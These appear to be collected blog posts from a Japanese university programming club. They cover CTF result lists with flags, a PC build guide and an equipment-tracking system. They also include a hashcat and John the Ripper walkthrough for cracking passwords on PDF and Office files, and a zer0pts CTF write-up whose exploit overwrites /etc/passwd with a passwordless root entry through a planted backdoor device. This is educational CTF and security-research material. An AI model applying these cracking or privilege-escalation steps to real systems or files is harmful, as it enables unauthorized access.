具体的に何をするんですか？

https://peing.net/ja/q/93a54bbc-913d-42b3-b1f8-30cc4e8998ef

「そういえば活動内容紹介が最後に書かれたの数年前だな」と思ったので、最近の活動内容について書いていきます

主な活動内容​

2020年現在、KogCoderでは大きく分けて2つの活動をしています

• 競技プログラミング
• CTF

全てのメンバーが全ての活動をしている訳ではなく、それぞれ興味のある分野を突き詰めています(もちろん全部やっている人もいます)

ここで、「競技プログラミング？CTF？ﾅﾆｿﾚｵｲｼｲﾉ？」てなった人も多数いるかと思いますので、どのようなものかを説明していきます

競技プログラミング​

競プロとよく略されます 指定された処理を行うプログラムをいかに速く書き上げるかを競います

CTF​

Capture The Flagの略称てす セキュリティ上の欠陥(脆弱性といいます)を攻撃したり暗号やプログラムを解析したりして、問題に埋めこまれたFlagと呼ばれる文字列を探す競技です 極めるとｽｰﾊﾟｰﾊｶｰになれます

その他の活動​

サーバーの構築、運用​

このブログやKogCoder専用のVPNの構築及び保守運用を行なってます 学校からある程度お金が出ているので、金欠学生でもちょっとお金がかかるような環境を組んで遊べます

LT​

ゆるーいプレゼンみたいなものです メンバーがそれぞれ最近やったことや得意分野について話します 先日行われたLTではPSPのHomebrew(自作ソフトのこと)の作りかたやDeepLearning やレントラーの育成論等についての発表がありました 普段自分が目を向けないような分野の話を聞けるのでとても勉強になります

合宿​

泊まりこみでプログラムやセキュリティの勉強やPCの環境構築、焼き肉を行います 昨年の夏合宿では、秋葉原で買ってきた中古のPC2台のHDDを増設し、Gentoo Linux*1 の環境を構築を行いました

おわりに​

正直、コロナウイルスの影響で例年通りに新歓が出来なかったのでメンバーが集まるかどうかかなり不安を抱えています 初心者でも丁寧に教えますので、もしこの記事を読んで興味を持っていただけたのであれば、是非KogCoderへの参加を検討していただけると幸いです

FAQ​

あるかもしれない質問とその回答をここに

Q. プログラミング言語は何を使ってますか A. 多分全員C/C++は書けると思います また、Pythonを書くメンバーも結構いると思います 少数派ではありますが、HaskellやPHPを専門としているメンバーもいます

Q. OSは何を使っていますか A. Windowsをメインで使っているメンバーがほとんどです ですが、だいたいWSLや仮想マシン、デュアルブートなどの方法でLinux環境を用意しています ちなみにLinuxディストリビューションはUbuntu、Deepin、Arch Linuxなどが使われています

Q. KogCoderに入ればプログラミングの単位を取れますか A. 単純にプログラムを書く機会が増えるのでかなりの確率で一回も単位を落とさずにいけると思います ただし、人並み以上にプログラミングできるのに何故か単位を落としたメンバーが1人いるので確約はできません 慢心はしないようにしましょう

*1: 最も導入の敷居が高いであろうLinuxディストリビューション。インストールするにはひたすら黒い画面と格闘し続ける必要がある

チーム KogCoder として参加し、2205pts獲得し37位でした

ReversingとMiscを全完出来たので去年より成長したと思います

Pwn​

• Beginner's Stack 134pts Beginner
  • シンプルなStack Overflowです

Crypto​

• R&B 52pts Beginner
  • 順番通りにdecodeしよう
• Noisy equations 261pts Easy
  • 乱数を上手く取り除いてflagをゲットしよう
• RSA Calc 319pts Medium
  • RSA署名の実装の甘さを突きます

Web​

• Spy 55pts Beginner
  • タイミング攻撃です

Reversing​

• mask 62pts Beginner
  • strcmpをちょっと複雑にしたやつ
• yakisoba 156pts Easy
  • angr
• ghost 279pts Medium
  • イロモノ言語問題です
• siblangs 363pts Medium
  • React Nativeの解析です
• sneaky 410pts Hard
  • ゲームでチートをする問題です

Misc​

• Welcome 50pts Beginner
  • ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
• emoemoencode 53pts Easy
  • 文字コードの差に注目しよう
• readme 272pts Easy
  • procfs完全理解できます

チーム KogCoder として参加し、3122pts獲得し27位でした

去年より順位を上げることが出来ました また、2年連続でReversingを全完しました。やったぜ

※Writeupを書き終わったものから順次公開しているのでまだリンクがないものもあります

Welcome​

• Welcome 51pts Beginner
  • ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}

Crypto​

• simple_RSA 75pts Beginner
  • Low Expornential Attack
• Logical_SEESAW 118pts Beginner
• GFM 222pts Easy
• Imaginary 264pts Medium
  • ECBモードの仕様の悪用

Reversing​

• only_read 55pts Beginner
  • 読むだけ
• children 73pts Easy
• please_not_trace_me 242pts Easy
  • アンチデバッガ問
• be_angry 234pts Medium
  • 今年のangr枠
• firmware 302pts Medium
  • エスパー + armバイナリ解析

pwnable​

• rewriter 108pts Beginner
  • 任意アドレスを書き換えてret2win
• beginners_rop 264pts Easy
  • 基本的なret2libc

Web​

• osoba 51pt Beginner
• Werewolf 70pt Easy
• check_url 95pt Easy
• json 109pt Medium
• cant_use_db 108pt Medium

Misc​

• git-leak 58pt Easy
• Mail_Address_Validator 76pt Easy
  • 破壊的なバックトラック
• fly 411pt Medium
  • Wolf RPG エディタ解析
• depixelization 136pt Medium

チーム KogCoder として参加し、2221pts獲得し37位でした

reversing以外が壊滅的なので、他の分野もしっかりお勉強しようと思いました

ちなみに頼もしい公式のwriteupはコチラ

pwn​

• hipwn - 158pts
  • 大会期間中に解けなかったがx64 shellcodeのいい勉強になった

forensics​

• locked kitkat - 100pts
  • Androidのロックを解除する問題。

reversing​

• raindropper - 604pts
  • ガチのランサムウェアの解析

• Hobbit - 525pts

  • 独自形式のバイナリの解析

• QR Puzzle - 314pts

  • 暗号化されたQRコードの復号。warmupの割に難しい

• vmlog - 213pts

  • プログラムの動作ログからの入力値の逆算

• easy strcmp - 265pts

  • 脳死angr問。数分で解けた

チーム KogCoder として参加し、1552pt獲得し43位でした

3年連続でreversingを全完することができました。うれしい

• web

  • Util (54 pt)
  • textex (92 pt)
  • gallery (83 pt)
  • serial (109 pt)
  • Ironhand (147 pt)

• misc

  • phisher (70 pt)
  • H2 (69 pt)
  • hitchhike4b (91 pt)

• pwnable

  • BeginnersBof (84 pt)
  • snowdrop (144 pt)

• reversing

  • Quiz (50 pt)
  • WinTLS (100 pt)
  • Recursive (91 pt)
  • Ransom (125 pt)
  • please_not_debug_me (138 pt)

• crypto

  • CoughingFox (55 pt)

• Welcome (50 pt)
  • ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}

電源

今回は"XPG PYLON 750W PC電源ユニット"を使用。
電源はPCにおける心臓部で、基本的にすべてのパーツに電源を供給するとても重要なパーツ。ケチると本来のパフォーマンスを発揮できないことがある。
とりあえずこの電源からケースに設置していく。

設置完了！

CPU

"Intel Core i5-12400F Processor 18M Cache, up to 4.40 GHz"を使用。
CPUは他の装置の制御やデータの演算を行う。CPUの内部は 制御ユニット 演算ユニット レジスタ群 クロック で構成される。
こっちの面をマザーボードのCPUソケットにくっつける。
ピンが折れると壊れるので慎重に。
取り付けが完了したら固定する。結構力がいる。
取付完了。

メモリ

"Crucial CT2K16G4DFD832A"を使用。今回は16GBを2枚(合計32GB)を取り付ける。
メモリはデータを 一時的に 保存しておく場所です。 メモリの容量がたくさんあるほど、パソコンの動作が速く、安定しますが逆に容量が少ないとHDDやSSDといった記憶領域を仮想メモリとして使用する。しかしHDDは読み書きが遅く、SSDは寿命が縮むのでメモリの容量はなるべく大きいものを選びたい。

溝にはめるように取り付ける。取り付ける際は事前にメモリスロットのロックを外しておく。
しっかりはめるためにはかなり力が必要だった。意外と折れないので勇気を出して押し込もう！

SSD

"Crucial P2 500GB PCle M.2 2280 SSD"を使用。 SSDはデータ記憶しておくものでありHDDとの違いはSSDの方が衝撃に強く、データの読み書きが高速である。しかしSSDの方が寿命が短いという欠点もある。OSとかは基本的にこっちに入れる。
SSDをマザーボードに取り付ける。
斜めに刺さっているがこれであっている。
SSDをねじで止める。
SSD取付完了。

マザーボード

"PRIME H610M-A D4"を使用。
各パーツの名称はこうなっている。
マザーボードはCPUやグラボやメモリなどを乗せるパーツ。カスタマイズするときは毎回このマザーボードからパーツを取り外して新しいものに取り換える作業が必要になる。

これは完成図だが、よく見ると小さいパーツが沢山集まってできているのが分かる。どのパーツも何かしらの役割があると考えるとマザーボード含めPCは技術の結晶だなと思う。ずっと見ていると街のジオラマのようにもみえる。
あと、意外と柔らかくて曲がる。

NIC

"intel Wi-Fi 6 AX200 Gig+"を使用。 Network Interface Card の略。
インターネットに接続するために必要なもの。
これがないとインターネットに接続できない。 ここに①を取り付ける。
ここでアクシデント。マザーボードを先に取り付けていた影響でNICをケースに固定できなくなってしまった。
一度マザーボードを取り外して... ここに②を取り付ける。
マザーボードを元に戻して...
NIC取り付け完了！

グリス+CPUクーラー

CPUクーラーは"SCYTHE 白虎 弐(BYAKKO2)"、グリスは付属のものを使用。
CPUには排熱をするためにCPUクーラーを取り付けるが、グリスを塗って熱伝導率を高めることによってより効率よく排熱をしている。
CPUにグリスを塗って...

CPUクーラーを設置！
CPUクーラーはヒートシンクとファンで構成されいる。ヒートシンクは画像中央上の金属の板が重なったやつ。こうすることによって表面積を広げ効率よくCPUの熱を受け取り、熱せられた空気をファンで排気する。

グラフィックボード

グラフィックカード、ビデオカードとも呼ばれる。
"GeForce GTX1650 D6 AERO ITX J OC"を使用。
だいたい¥27000くらい。 (2022年2月現在)
基盤部分であるグラフィックボードとクーラーは分かれている場合もあるが、今回購入したものは最初から合体していた。基盤部分にはGPUやグラフィックメモリー、補助電源などが取り付けられている。
グラフィックボードは無くてもPCはだいたい普通に動く。
グラフィックボードは3Dや高画質でゲームをする人、動画編集で重たい動画をエンコードする人に必要なパーツ。最近はマイニングにも使われる。
これはGPUの計算能力に寄っている。複雑な（連続的な）計算が得意なCPUに対して定式的（並列的）な計算が得意なGPUは画面描画やマイニング、パスワード解析など膨大な計算量のタスクに長けている。
実際コア数もCPUが数個なのに対して、GPUは数千個にもなる。今回購入したCPU（Core™ i5-12400F）のコア数が6ユニット12スレッドに対してGPU（GTX1650）は896ユニットある。

PCI-Express x16 スロットに差し込んで設置。
他のパーツに比べてかなり軽い力で設置できた。

HDD

"HDWU 120UZSAVA"(2TB)を使用。
HDDはSSDと比べて衝撃に弱く、読み書きも遅いが 寿命が長い という利点がある。膨大なデータを長期保存する場合にはHDDが向いている。
まずケースのどこかにHDDを固定するためのスペースがあるので探す。 今回はマザーボードを固定した面の裏にあった！ 動かないようにしっかりと固定していく... HDD固定完了！

配線

電源配線の名称は以下の通り。これ以外にもSATAなどがある。 使わないケーブルもある。

Motherbord 20+4Pin　差し込み！
マザーボード用電源。チップセット、メインメモリ等に供給される。

ATX12V　差し込み！
CPU用電源。

SATA　差し込み！
SATAは端子がL字の特徴的な形。主にパソコンとHDDや光学ドライブの間でデータのやり取りをするときに使われる。PS4にも使われている。

システムヘッダパネルに対応する配線を繋げて終了！
これを接続することで電源ボタン、再起動ボタン、電源ランプ、HDDランプなどが使えるようになる。

完成図（ケースの蓋を外した状態）

終わりに

いかがだったでしょうか？

一番の感想は「思ったより力技」ということ。もちろん個体差はあるだろうが、メモリの差し込みは体重かけてやっと入るくらいだった。精密機器であることと値段を思うとなかなか心臓に悪い。
そして、意外と組み立てはできそうだとも思った（まだ１人ではできないけど）。恐らく自分に合ったパーツを買いそろえる方が、互換性や規格の問題で難しそう。
まだ自分でPCを組んだことのない方は今回のように自作PC経験者の方に協力して頂きながら挑戦してみるのも良いと思う。

PCを自分で組み立てることによってPCに問題が生じたときに「電源が弱いのかな」や「グラボを新しくしようかな」などの発想が思いつくと、より安く、自分の目的に合ったPCにカスタマイズできるだろう。

皆さんも自分好みのPCを作って快適なPC環境を整えよう！

注意​

この記事はパスワードの安全性と長さの関連を調査しています。 不正にパスワードを入手することは不正アクセス禁止法により禁止されています。

ハッシュ値とは​

「ハッシュ関数」と呼ばれるものにデータをわたすとそのデータに応じた値を返します。その値がハッシュ値です。
データからハッシュ値を求めることは容易ですが、
ハッシュ値からデータを求めることは非常に困難です。 （不可逆的） このハッシュ値を利用することによってパスワードを安全に保管できます。

hashcatでハッシュ値解析をする​

今回ハッシュ値解析にはhashcatを用いた。 hashcatはハッシュ値の解析にGPUを使用することができるため、高速にハッシュ値を解析できる。 検証に用いたPCの性能は以下である。

また以下のハッシュ値解析を検証した。

解析してみる​

環境構築​

まずhashcatを入れる。

sudo apt install hashcat

次にhashcatを動かすために対応するGPUのドライバを入れる。 https://www.nvidia.co.jp/Download/index.aspx?lang=jp

入れ終わったらちゃんと動くか確認...

hashcat -I

ちゃんとGPUが読み込まれていることが確認できた！

パスワード付きのファイルを用意​

texで作ったファイルにパスワードを付ける​

ターミナルで

$ dvipdfmx -S 暗号化するファイル.dvi

今回は読み込みパスワードだけをつけたいのでowner passwordは無しにした。

wordファイルにパスワードを付ける​

「名前を付けて保存する」から「ツール」を選択し「全般オプション」にてパスワードを設定し、保存する。

パスワード付きのwordファイルをpdfに変換​

ファイルからエクスポートを選択し「PDF/XPSドキュメントの作成」を選ぶ。

ハッシュ値を抽出する​

今回はJohn the ripper を使った。
https://github.com/openwell/john
基本的にはdocの中にあるINSTALL-UBUNTUの指示通りにインストールしていく。
一応aptコマンドでインストール出来るがハッシュ値を抽出したい場合はgithubからのインストールを推奨。

pdfからハッシュ値を抽出​

john/run/pdf2john.pl を実行する。

$ john/run/pdf2john.pl ハッシュ値を抽出したいpdfファイル > hash.txt

officeからハッシュ値を抽出​

john/run/office2john.py を実行する。

$ john/run/office2john.py ハッシュ値を抽出したいofficeファイル > hash.txt

hashcatで解析する​

詳しい使い方は

$ hashcat --help

を参照。

hash-typeを調べる​

hashcatでハッシュ値解析をする場合事前にhash-typeを指定する必要がある。hash-typeがどれか分からないときは以下を実行するとhash-typeがわかる

$ hashcat hash.txt

今回はtexのハッシュタイプを調べた。
10400または10410であることが分かった。

解析開始​

基本的にはブルートフォースアタックで解析していく。

$ hashcat -m 10400 -a 3 hash.txt ?d?d?d?d?l?l

今回はパスワードが数字4桁+小文字2文字であることが分かっていると想定してmask指定をして解析した。 2秒で終わっちゃった笑 パスワードが9732gfであることが分かった。

今度は同じパスワードをmask無しで解析してみた。 記録は...7秒！

John the ripper でハッシュ値解析​

先ほどはGPUを並列処理にまわしたためすぐに解析出来ました。では今度はVirtual Boxを用いて意図的にスペックの低い環境でハッシュ値解析をしてみましょう。 性能はこんな感じ メモリは4GB,プロセッサーは2つ
環境構築は省略
さっそく解析してみた。 マスクありだと解析時間が短すぎて比較にならなかったのでマスクなしで解析した。 記録は...5分29秒！
まぁ現実的な数値ですね。 いかにこのパスワードが脆弱であるかが分かりましたね。

性能比較​

1秒にチェックできるハッシュ値の数を比較してみましょう。 仮想環境では メイン環境では 大雑把に見積もっても約100倍のスピードでハッシュ値解析をしていることが分かった。
hashcat...恐るべし

まとめ​

以下に各ファイル形式におけるパスワードの解析時間をまとめる。 なお以下で想定するパスワードは印字可能なアスキーコードであるとする。

皆さんもこれを参考に安全なパスワードを設定しましょう。

　KogCoderはコロナウイルスの影響で対面での活動が難しくなってしまったため、様々な問題に直面しました。その一つがKogCoderの備品管理についてです。今までは学校内のキャビネットやお世話になっていた研究室などに備品を置かせてもらうことができましたが、学校で対面の活動を行うことが厳しいため団体が所有している備品をメンバーの自宅に置き活動を行うようなスタイルになりました。 　コロナ前のように活動場所に備品が集まっているのであれば所有している備品が把握しやすかったですが、メンバーの自宅に分散してしまいました。すると団体がどの備品を誰にいつまで貸しているのかがわかりにくくなってしまいました。そこで、団体内部用の備品管理システムを開発しました。

動作​

管理ページにて備品と購入日、所有者、所有期限、備考などのデータを入力しIDとQRコードを発行します。

発行したQRをもとにシールを発行し、備品に貼り付けます。

使用感想​

簡易的にExcelを使って備品を管理していた時に比べ、格段に備品の管理がしやすくなりました。メンバーも自分の家にある物のうちどれが備品なのか一目でわかるようになり、回収作業や管理が効率化されました。

Overview​

チーム KogCoder として参加し、203pts獲得し176位でした 去年の大会からの難易度上昇の具合がヤバかったです

Welcomeとアンケートを除いて唯一解けた問題であるinfectedのWriteupを残しておきます

問題文​

The backdoor is installed on this machine:

nc others.ctf.zer0pts.com 11011 or

nc any.ctf.zer0pts.com 11011 How can I use it to get the flag in /root directory?

解法​

backdoorという実行ファイルが渡されます また、問題文で示されているサーバーに繋いでみるとシェルが立ち上がります 問題文曰く/root以下のflagを読めば良いらしいのですが、標準ではPID1000のユーザーとして繋がっていたのでなんとか特権昇格する必要があります この環境にはバックドアがインストールされていると問題文で言っていたので、配布されたファイルを解析してバックドアの起爆方法を調べます

backdoorのmain関数は以下のようになっています

void main(int argc,char **argv)

{
  register_backdoor(argc,argv);
  return;
}

中身が虚無ですね register_backdoorを読みましょう

void register_backdoor(int argc,char **argv)

{
  long in_FS_OFFSET;
  undefined local_38 [8];
  undefined4 local_30;
  char **dev_info_argv;
  undefined4 local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_18 = "DEVNAME=backdoor";
  memset(local_38,0,0x20);
  local_30 = 1;
  dev_info_argv = &local_18;
  local_20 = 1;
  cuse_lowlevel_main(argc,argv,local_38,devops,0);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

cuse_lowlevel_mainというのはfuseの内部で使われているキャラクタデバイスを作成するための関数みたいです この関数の第3引数がcuse_lowlevel_opsという構造体なのですが、この中身は各操作を行う際に実際の処理を行う関数へのポインタになっています。

struct cuse_lowlevel_ops {
	void (*init) (void *userdata, struct fuse_conn_info *conn);
	void (*init_done) (void *userdata);
	void (*destroy) (void *userdata);
	void (*open) (fuse_req_t req, struct fuse_file_info *fi);
	void (*read) (fuse_req_t req, size_t size, off_t off,
		      struct fuse_file_info *fi);
	void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off,
		       struct fuse_file_info *fi);
	void (*flush) (fuse_req_t req, struct fuse_file_info *fi);
	void (*release) (fuse_req_t req, struct fuse_file_info *fi);
	void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi);
	void (*ioctl) (fuse_req_t req, int cmd, void *arg,
		       struct fuse_file_info *fi, unsigned int flags,
		       const void *in_buf, size_t in_bufsz, size_t out_bufsz);
	void (*poll) (fuse_req_t req, struct fuse_file_info *fi,
		      struct fuse_pollhandle *ph);
};

そして、backdoorで使われていたcuse_lowlevel_opsがこちらです

                             //
                             // .data.rel.ro 
                             // SHT_PROGBITS  [0x201d00 - 0x201d57]
                             // ram:00301d00-ram:00301d57
                             //
                             devops                                          XREF[2]:     register_backdoor:00100d1d(*), 
                                                                                          _elfSectionHeaders::00000550(*)  
        00301d00 00 00 00        addr[11]
                 00 00 00 
                 00 00 00 
           00301d00 00 00 00 00 00  addr      00000000                [0]                               XREF[2]:     register_backdoor:00100d1d(*), 
                    00 00 00                                                                                         _elfSectionHeaders::00000550(*)  
           00301d08 00 00 00 00 00  addr      00000000                [1]
                    00 00 00
           00301d10 00 00 00 00 00  addr      00000000                [2]
                    00 00 00
           00301d18 9a 0a 10 00 00  addr      backdoor_open           [3]
                    00 00 00
           00301d20 00 00 00 00 00  addr      00000000                [4]
                    00 00 00
           00301d28 c0 0a 10 00 00  addr      backdoor_write          [5]
                    00 00 00
           00301d30 00 00 00 00 00  addr      00000000                [6]
                    00 00 00
           00301d38 00 00 00 00 00  addr      00000000                [7]
                    00 00 00
           00301d40 00 00 00 00 00  addr      00000000                [8]
                    00 00 00
           00301d48 00 00 00 00 00  addr      00000000                [9]
                    00 00 00
           00301d50 00 00 00 00 00  addr      00000000                [10]
                    00 00 00

backdoor_openとbackdoor_writeが登録されていますね また、キャラクタデバイスは実際に手元で起動してみると/dev/backdoorに作成されていることが分かります

つまり、/dev/backdoorに何かを書き込むとバックドアが発火できそうです

では、何を書き込むべきなのかを探るためにbackdoor_writeを読みます

void backdoor_write(undefined8 req,char *buf,size_t size,undefined8 off)

{
  int iVar1;
  __mode_t __mode;
  char *__s;
  char *__s1;
  char *__file;
  char *__nptr;
  long in_FS_OFFSET;
  stat64 local_a8;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __s = strndup(buf,size);
  if (__s == (char *)0x0) {
    fuse_reply_err(req,0x16);
    goto LAB_00100c8c;
  }
  __s1 = strtok(__s,":");
  __file = strtok((char *)0x0,":");
  __nptr = strtok((char *)0x0,":");
  if (((__s1 == (char *)0x0) || (__file == (char *)0x0)) || (__nptr == (char *)0x0)) {
    fuse_reply_err(req,0x16);
  }
  else {
    iVar1 = strncmp(__s1,"b4ckd00r",8);
    if (iVar1 == 0) {
      stat64(__file,&local_a8);
      if ((local_a8.st_mode & 0xf000) == 0x8000) {
        __mode = atoi(__nptr);
        iVar1 = chmod(__file,__mode);
        if (iVar1 == 0) {
          fuse_reply_write(req,size,size);
          goto LAB_00100c7d;
        }
      }
      fuse_reply_err(req,0x16);
    }
    else {
      fuse_reply_err(req,0x16);
    }
  }
LAB_00100c7d:
  free(__s);
LAB_00100c8c:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

/dev/backdoorにb4ckd00r:ファイルパス:パーミションの順で書き込むことによって任意のファイルのパーミションを変更できそうです

これを使うことで、/etc/passwdのrootパスワードを消去してsuで特権昇格を図れます あとは/rootにあるflag-b40d08b2f732b94d5ba34730c052d7e3.txtを読むだけです

exploitがこちら

echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo root::0:0:root:/root:/bin/sh > /etc/passwd
su
ls /root
cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt

zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

チーム KogCoder として参加し、1179pts獲得し31位でした

Reversing3問とCheat1問を解きました

Reversing

• in question
  • 破損バイナリ+angr
• harmagedon
  • 謎のクソでか文字列入りのバイナリ解析
• trilemma
  • 3すくみするライブラリをどうにする問題

Cheat

• Tip Toe
  • HSP製3Dゲームのチート